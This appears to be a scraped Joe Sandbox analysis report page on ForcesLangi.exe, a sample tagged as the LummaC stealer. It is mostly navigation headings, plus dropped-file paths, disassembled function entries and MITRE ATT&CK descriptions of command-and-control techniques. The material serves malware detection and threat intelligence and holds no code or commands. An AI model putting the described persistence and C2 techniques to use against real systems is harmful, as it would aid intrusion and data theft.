Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report ForcesLangi.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\ForcesLangi.exe.log

C:\Users\user\AppData\Roaming\gdi32.dll

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Windows Analysis Report
ForcesLangi.exe

Function 6CE02F70 Relevance: 20.3, APIs: 2, Strings: 9, Instructions: 1041
nativeCOMMON

Function 6CE2E7DE Relevance: 10.6, APIs: 7, Instructions: 136
COMMONLIBRARYCODE

Function 6CE2E88E Relevance: 7.6, APIs: 5, Instructions: 87
COMMONLIBRARYCODE

Function 6CE2E6D7 Relevance: 3.1, APIs: 2, Instructions: 76
COMMON

Function 6CE27100 Relevance: 16.4, APIs: 3, Strings: 6, Instructions: 630
COMMONLIBRARYCODE

Function 6CE18000 Relevance: 11.3, Strings: 8, Instructions: 1306
COMMON

Function 6CE23C50 Relevance: 11.1, Strings: 8, Instructions: 1109
COMMON

Function 6CE1C3D0 Relevance: 10.9, APIs: 3, Strings: 3, Instructions: 419
COMMON

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre